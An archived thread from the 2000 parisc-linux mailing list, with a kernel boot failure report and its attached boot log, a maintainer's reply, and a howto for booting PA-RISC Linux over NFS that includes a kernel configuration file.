X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State Of The Port [2000/02/13]
Date: Mon, 14 Feb 2000 08:56:20 -0800 (PST)
Lines: 362
Approved: news@gmane.org
Message-ID: <20000214165620.28571.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0-424238335-950547380=:27520"
X-Trace: ger.gmane.org 1416618769 30391 80.91.229.3 (22 Nov 2014 01:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:49 +0000 (UTC)
To: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Mon Feb 14 10:56:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA00587
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 10:56:02 -0700
Original-Received: (qmail 1345 invoked by uid 15267); 14 Feb 2000 16:56:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1305 invoked from network); 14 Feb 2000 16:56:34 -0000
Original-Received: from web502.mail.yahoo.com (128.11.68.69)
  by mailserv2.iuinc.com with SMTP; 14 Feb 2000 16:56:34 -0000
Original-Received: (qmail 28572 invoked by uid 60001); 14 Feb 2000 16:56:20 -0000
Original-Received: from [149.234.12.1] by web502.mail.yahoo.com; Mon, 14 Feb 2000 08:56:20 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6825

--0-424238335-950547380=:27520
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

--- willy@thepuffingroup.com wrote:
> 
> State of the Port
...
> So what does it currently work on?
> 
>  * C3000/J5000 (no serial input yet)
>  * A180
>  * C360
>  * 712
>
... 
Compiling and booting the latest (20000213) cvs
version on my 715/33 is partly successful. It ends
with the RAMDISK loaded message because after this the
kernel is switching to a serial console which does not
(yet) exist.

Changing CONFIG_VT=y, CONFIG_VT_CONSOLE=y,
CONFIG_SERIAL_CONSOLE=n and CONFIG_IODC_CONSOLE=y 
leads to a lot of undefined symbols:
ld: Unsatisfied symbols:
   pckbd_getkeycode (code)
   pckbd_setkeycode (code)
   pckbd_leds (code)
   keymap_count (data)
   plain_map (data)
   accent_table (data)
   func_buf (data)
   func_table (data)
   accent_table_size (data)
   funcbufleft (data)
   pckbd_unexpected_up (code)
   funcbufsize (data)
   funcbufptr (data)
   key_maps (data)
It seems that CONFIG_GSC_PS2 is needed to include
these routines (although the 715/33 does not have a
GSC or PS2). But after defining CONFIG_GSC_PS2=y the
kernel boot ends with the attempt to kill the init
task. And the are two "kernel BUG" messages again,
this time in block_dev.c:411!

So everything has improved compared to the state
before the 2.3.42 merge, where even a defconfig-kernel
ended with lots of kernel BUG messages on my 715/33.

I have attached the complete boot log of this test.
Has anyone an idea what's going wrong?

Also: the HIL-driver is still not working. If I
include it I get lots of kernel BUG messages in
pagetable_init.

Ulrich
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com
--0-424238335-950547380=:27520
Content-Type: text/plain; name="last_boot.txt"
Content-Description: last_boot.txt
Content-Disposition: inline; filename="last_boot.txt"

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Mon Feb 14 15:14:57 MET 2000 by root@be5359

Official memory starts at 00006400
Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 01000080
exec_dfile: 00156000
exec_dsize: 000FB000
exec_dmem : C0200000
exec_tfile: 00056000
exec_tsize: 000FF008
exec_tmem : C0100000
exec_bsize: 3FD05030
exec_entry: C0100000
Code at 0x00100000, size=0x000FF008
Data at 0x00200000, size=0x000FB000
BSS  at 0x002FB000.
exec_entry: C0100000

Transferring control to kernel. (At entry point 0x00100000)
The Kernel has started...
Free memory starts at: 0xc035bde0
PALO command line: '/stand/vmlinux HOME=/ TERM=LINUX console=tty'
FP CCR was 0x0, will be set to 0xc0
model   00003110 00000481 00000000 00000000 78294d38 ffffffff 00000004 0000000a
0000000a
vers    00000013
CPUID vers 0 rev 0
Model: Scorpio Jr.(715/33) with 48 MB RAM (Using 48 MB).
CPU(s): 1 x PA7100LC at 33.333500 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Jr. Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
3. Scorpio Jr. Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
4. Scorpio Jr. Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0, 0x0
5. Scorpio Jr. Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
6. Scorpio Jr. Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0
7. Scorpio Jr. Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0
8. Scorpio Jr. Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0, 0x0
9. Scorpio Jr. Audio (10) at 0xf1000000, versions 0xb, 0x0, 0x7b, 0x0, 0x0
10. Scorpio Jr.(715/33) (0) at 0xfffbe000, versions 0x311, 0x0, 0x4, 0x0, 0x81
11. Scorpio Jr. (1) at 0xfffbf000, versions 0x1b, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.42 (root@be5359) (gcc version 2.8.1) #6 Mon Feb 14 17:11:40 ME
T 2000
init_bootmem 860 12288
init_bootmem complete
free_bootmem 0035c3e0 02ca3c20
d_conf 51402000
initrd: c0208000-c02dc800
pagetable_init
set_pte c1100000 002e5309
miscoloured (c013c554)
set_pte c1100004 002de309
miscoloured (c013c56c)
On node 0 totalpages: 00003000
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
trap_init
iodc_con_init
Console: switching to IODC console
#Console: mono IODC console 80x34
The Kernel has started...Free memory starts at: 0xc035bde0PALO command line: '/s
tand/vmlinux HOME=/ TERM=LINUX console=tty'FP CCR was 0x0, will be set to 0xc0mo
del#00003110 00000481 00000000 00000000 78294d38 ffffffff 00000004 0000000a 0000
000avers#00000013CPUID vers 0 rev 0Model: Scorpio Jr.(715/33) with 48 MB RAM (Us
ing 48 MB).CPU(s): 1 x PA7100LC at 33.333500 MHzSearching for devices in PDC fir
mware...  an older box...Found devices:1. Stinger Optional Graphics (10) at 0xf4
000000, versions 0x6, 0x0, 0x77, 0x0, 0x02. Scorpio Jr. Core BA (11) at 0xf082f0
00, versions 0xb, 0x0, 0x70, 0x0, 0x03. Scorpio Jr. Core SCSI (10) at 0xf0825000
, versions 0xb, 0x0, 0x71, 0x0, 0x04. Scorpio Jr. Core LAN (802.3) (10) at 0xf08
26000, versions 0xb, 0x0, 0x72, 0x0, 0x05. Scorpio Jr. Core HIL (10) at 0xf08210
00, versions 0xb, 0x0, 0x73, 0x0, 0x06. Scorpio Jr. Core RS-232 (10) at 0xf08230
00, versions 0xb, 0x0, 0x75, 0x0, 0x07. Scorpio Jr. Core RS-232 (10) at 0xf08220
00, versions 0xb, 0x0, 0x75, 0x0, 0x08. Scorpio Jr. Core Centronics (10) at 0xf0
824000, versions 0xb, 0x0, 0x74, 0x0, 0x09. Scorpio Jr. Audio (10) at 0xf1000000
, versions 0xb, 0x0, 0x7b, 0x0, 0x010. Scorpio Jr.(715/33) (0) at 0xfffbe000, ve
rsions 0x311, 0x0, 0x4, 0x0, 0x8111. Scorpio Jr. (1) at 0xfffbf000, versions 0x1
b, 0x0, 0x9, 0x0, 0x0That's a total of 11 devices.Linux version 2.3.42 (root@be5
359) (gcc version 2.8.1) #6 Mon Feb 14 17:11:40 MET 2000init_bootmem 860 12288in
it_bootmem completefree_bootmem 0035c3e0 02ca3c20d_conf 51402000initrd: c0208000
-c02dc800
pagetable_init
set_pte c1100000 002e5309
miscoloured (c013c554)
set_pte c1100004 002de309
miscoloured (c013c56c)
On node 0 totalpages: 00003000
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
trap_init
iodc_con_init
Console: switching to IODC console
Console: mono IODC console 80x34
register_console
Calibrating delay loop... 26.62 BogoMIPS
Memory: 43816k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c2ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c2ffe004, name=test-cachep)
kmem_test() - finished
c2ff0000 c2ff8000 c2fee000 c2ffc000
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01be1d8, 0x0, asp, c2fea060)
Lasi IRQ 259 EIM 0xfffe0003
iosapic_init()
calling get_irt_size
get_irt_size: -1
pdc_pci_irt_size: -1
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 850 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/
-\|/-\|/-\|/-\|/-\|/-\|/-\|/done.
kernel BUG at block_dev.c:411!
kernel BUG at block_dev.c:411!
VFS: Mounted root (ext2 filesystem).
tty_open
vt_console_device returning [0 0] (4 1) 0401
searching for 4/1
found 136/[0,256]
found 128/[0,256]
found 3/[0,256]
found 2/[0,256]
found 5/[64,64]
found 4/[64,64]
found 4/[0,1]
found 5/[2,1]
found 5/[1,1]
found 5/[0,1]
found 4/[1,63]
driver: -1070243152
retval 0
driver.open 0
execve /sbin/init c0207008 c0207030
do_execve
reading c01518e8 c2fe6808 c2fe65c8 128
returned 128
02100108 05124000 00000000 00000000
00000000 00000000 00002f13 00000080
000000b4 00048ac4 40005980 00000138
00000004 000001c8 00000014 00000524
00000000 00000524 00000208 000004e8
00000003 0000e9c0 000000a6 0000072c
0000058f 00007658 00000000 00007658
00007364 00040000 00008ac4 4702a90d
search_binary_handler
trying c0175550
load_som_binary
It seems to be a valid SOM executable
reading c01518e8 c2fe6888 c2fca380 180
returned 180
10000004 00000028 000297a4 00001000
00011000 00005000 40001000 0003b000
0000c308 00002f10 00000001 00000000
8000000b 00000004 00000000 80000001
00000020 39323435 332d3037 42000000
31312e30 36000000 00000000 3891e6d2
00000000 80000001 00000020 39323435
332d3037 42000000 31312e30 34000000
do_mmap c2ec40e0 00001000 0002a000 00000005 00001806 00000011
miscoloured mmap
do_mmap c2ec40e0 40001000 00005000 00000007 00001806 0000003b
miscoloured mmap
do_mmap 00000000 40006000 0000d000 00000007 00000006 00000000
miscoloured mmap
bprm->p: 2001ffda
stack_base 20000000 7ffc3000
stack_base 20001000 7ffc3000
stack_base 20002000 7ffc3000
stack_base 20003000 7ffc3000
stack_base 20004000 7ffc3000
stack_base 20005000 7ffc3000
stack_base 20006000 7ffc3000
stack_base 20007000 7ffc3000
stack_base 20008000 7ffc3000
stack_base 20009000 7ffc3000
stack_base 2000a000 7ffc3000
stack_base 2000b000 7ffc3000
stack_base 2000c000 7ffc3000
stack_base 2000d000 7ffc3000
stack_base 2000e000 7ffc3000
stack_base 2000f000 7ffc3000
stack_base 20010000 7ffc3000
stack_base 20011000 7ffc3000
stack_base 20012000 7ffc3000
stack_base 20013000 7ffc3000
stack_base 20014000 7ffc3000
stack_base 20015000 7ffc3000
stack_base 20016000 7ffc3000
stack_base 20017000 7ffc3000
stack_base 20018000 7ffc3000
stack_base 20019000 7ffc3000
stack_base 2001a000 7ffc3000
stack_base 2001b000 7ffc3000
stack_base 2001c000 7ffc3000
stack_base 2001d000 7ffc3000
stack_base 2001e000 7ffc3000
stack_base 2001f000 c2d1f000
set_pte c2ebe07c 02d1f723
(start_brk) 40013000
(end_code) 0002b000
(start_code) 00001000
(end_data) 40006000
(start_stack) 2001fff8
(brk) 40013000
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5008 02d02627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc004 02d01627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc014 02d05627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec500c 02d03627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebe088 02d22723
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5004 02c01605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebe080 02d20723
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc01c 01007605
do_mmap 00000000 00000000 00000028 00000007 00000012 00000000
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc01c 02d07627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc048 01012605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5010 02d04605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc044 01011605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5048 02c12605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5098 02c26605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5014 02c05605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5094 02c25605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5040 02c10605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5044 02c11605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5024 02d09605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec504c 02c13605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec509c 02c27605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5050 02c14627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebe084 02c21723
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5028 02d0a627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec506c 02c1b605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5084 02b21627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc00c 02c03607
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5054 02c15627
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec505c 02c17605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5060 02c18605
No such device
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ec5068 02c1a605
current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
set_pte c2ebc038 0100e605
Kernel panic: Attempted to kill init!

--0-424238335-950547380=:27520--


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State Of The Port [2000/02/13]
Date: Mon, 14 Feb 2000 15:06:14 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <20000214150614.M9944@thepuffingroup.com>
References: <20000214165620.28571.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618769 30395 80.91.229.3 (22 Nov 2014 01:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: willy@thepuffingroup.com  Mon Feb 14 14:06:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01998
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 14:06:45 -0700
Original-Received: (qmail 7759 invoked by uid 15267); 14 Feb 2000 20:07:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7743 invoked from network); 14 Feb 2000 20:07:20 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 14 Feb 2000 20:07:20 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA14781;
	Mon, 14 Feb 2000 15:06:14 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000214165620.28571.qmail@web502.mail.yahoo.com>; from Ulrich Strelow on Mon, Feb 14, 2000 at 08:56:20AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6826

On Mon, Feb 14, 2000 at 08:56:20AM -0800, Ulrich Strelow wrote:
> Compiling and booting the latest (20000213) cvs
> version on my 715/33 is partly successful. It ends
> with the RAMDISK loaded message because after this the
> kernel is switching to a serial console which does not
> (yet) exist.

Yup, sounds right.

> It seems that CONFIG_GSC_PS2 is needed to include
> these routines (although the 715/33 does not have a
> GSC or PS2). But after defining CONFIG_GSC_PS2=y the
> kernel boot ends with the attempt to kill the init
> task. And the are two "kernel BUG" messages again,
> this time in block_dev.c:411!

The block_dev kernel BUG messages aren't really a problem.  We get
them on every architecture; it's a `feature' of initrd not yet being
completely fixed.  I agree the HIL driver needs some work.  I've put it
on the joblist :-) [The joblist is about to be published in the website
update I'm putting together right this minute]

> So everything has improved compared to the state
> before the 2.3.42 merge, where even a defconfig-kernel
> ended with lots of kernel BUG messages on my 715/33.

Yay!

> I have attached the complete boot log of this test.
> Has anyone an idea what's going wrong?
> 
> Also: the HIL-driver is still not working. If I
> include it I get lots of kernel BUG messages in
> pagetable_init.
> 
> Ulrich

[...]

> No such device
> current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
> set_pte c2ec5068 02c1a605
> current = c2fe6000, mm = c2ec1040, mmap_sem = c2ec105c
> set_pte c2ebc038 0100e605
> Kernel panic: Attempted to kill init!


The `No such device' message makes me curious.  What ramdisk.bin are
you using?


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nfsroot howto
Date: 14 Feb 2000 23:34:26 +0100
Organization: mkp.net
Lines: 477
Approved: news@gmane.org
Message-ID: <yq1itzr9zwt.fsf@leyland.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416618770 30398 80.91.229.3 (22 Nov 2014 01:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:50 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: mkp@socsci.auc.dk  Mon Feb 14 16:33:59 2000
Original-Received: from bentley.socsci.auc.dk (bentley.socsci.auc.dk [130.225.60.48])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA03456
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 16:33:58 -0700
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12KU37-0001q8-00; Mon, 14 Feb 2000 23:32:57 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id XAA11153;
	Mon, 14 Feb 2000 23:34:27 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
Original-Lines: 149
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6827


--=-=-=


LINUX/PA-RISC NFSROOT HOWTO

(Or how to get to a working shell prompt)


YOU NEED:

A fresh linux-2.3 checkout from CVS

The .config included below

puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20000214.tar.gz

A supported PA-RISC box with serial console

A Linux (any Unix will do) server with NFS server, bootpd and tftpd 


Note on consoles:

Yes, you *will* need serial console on the PA-RISC box.  IODC console
was a quick hack to get output during development, but it will never
be usable as an interactive console.  When HP releases docs for STI we
will implement a proper framebuffer console.  Until then, serial is
the only option.  Sorry.

Futhermore this will only work on boxes with LASI.  I'm still working
on support for the NS87560UBD Super I/O chip on [BCJ]x000 boxes.


STEP 1. KERNEL BUILDING

Get the latest linux-2.3 tree from CVS.


a) If you use the standard boot loader

Edit DEFAULT_COMMANDLINE in linux-2.3/arch/parisc/boot/boot_code/ipl_c.c 
to read:

	"vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"


b) If you use PALO

Edit the echo line in palo/mklifimage to read

	"vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"


In both cases replace 10.0.0.1 with the IP address of your NFS server.


Copy the .config included below to the root of the linux source tree.

make oldconfig
make dep
make clean
make Image	(Or make palo, if you use Paul's loader)

Due to linker issues cross compiling is still not possible.  I.e. you
have to build on HP/UX.


STEP 2. BOOTP, TFTP AND NFS

Copy linux-2.3/arch/parisc/boot/Image (or palo/lifimage) to
/tftpboot/vmlinux on the server.  Make sure the file is world
readable.

Edit /etc/bootptab on the server.  I have an entry like this:

mybox:\
        :hd=/tftpboot:\
        :bf=vmlinux:\
        :ht=ether:\
        :ha=0060b007e4ab:\
        :sm=255.255.255.0:\
        :hn:\
        :ip=10.0.0.6:\
        :vm=rfc1048:

Replace ``mybox'' with the hostname of your PA-RISC box.

You need to insert the MAC address of the PA-RISC box in the ha=
field.  You can find the MAC by typing "in la" at the PDC prompt.

You should also change the IP to something appropriate for your LAN.

Add an entry for the host in /etc/hosts.

Unpack the nfsroot tarball in /tftpboot and rename the unpacked
directory (mybox) to the hostname of your box.

Make sure both bootps and tftp are enabled in /etc/inetd.conf.

Edit your /etc/exports to contain a line like this:

	/tftpboot/mybox		mybox(rw,no_root_squash)

Again, replace mybox with your hostname.

Restart inetd and nfs services if you made any modifications.


STEP 3. GO

Type "bo lan" at the PDC prompt on the PA-box and kapow.  You've got a
prompt (I hope). 

Here's what I get...

---8<---

Stand-alone shell (version 3.4)
500 5 1970 53b
> -mount -t proc proc /proc                                                       
quux                                                                            
quuux                                                                           
> -more /proc/cpuinfo
quux                                                                            
quuux
<< cpuinfo >>
processor       : 0
cpu family      : PA-RISC <NULL>
cpu             : PA8000
cpu MHz         : 160.000000
cpu category    : category A
cpu level       : level 0
cpu shadow regs : no
model           :
model name      : Raven U 160 (9000/780/C160)
sw_id           : 0
hversion        : 0x00000000
sversion        : 0x00000000
I-cache         : 0 KB
D-cache         : 0 KB (WB)
ITLB entries    : 0
DTLB entries    : 0
BTLB            : not supported
---8<---


--=-=-=
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=.config
Content-Description: .config

#
# Automatically generated make config: don't edit
#
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_GSC=y
CONFIG_GSC_DINO=y
CONFIG_GSC_LASI=y
CONFIG_PCI=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_IDE is not set

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_HD_ONLY is not set
# CONFIG_BLK_CPQ_DA is not set

#
# Additional Block Devices
#
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_IP_ROUTER is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_ALIAS is not set
# CONFIG_SYN_COOKIES is not set

#
# (it is safe to leave these untouched)
#
# CONFIG_SKB_LARGE is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_BRIDGE is not set
# CONFIG_LLC is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
# CONFIG_SCSI is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
# CONFIG_LASI_82596 is not set

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_RTL8139 is not set
# CONFIG_DM9102 is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_EISA=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
CONFIG_DEC_ELCP=y
# CONFIG_DGRS is not set
# CONFIG_EEXPRESS_PRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_NE3210 is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_SIS900 is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_ES3210 is not set
# CONFIG_EPIC100 is not set
# CONFIG_ZNET is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_YELLOWFIN is not set
# CONFIG_ACENIC is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring driver support
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Character devices
#
# CONFIG_VT is not set
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
CONFIG_SERIAL_EXTENDED=y
# CONFIG_SERIAL_MANY_PORTS is not set
# CONFIG_SERIAL_SHARE_IRQ is not set
# CONFIG_SERIAL_DETECT_IRQ is not set
# CONFIG_SERIAL_MULTIPORT is not set
# CONFIG_HUB6 is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
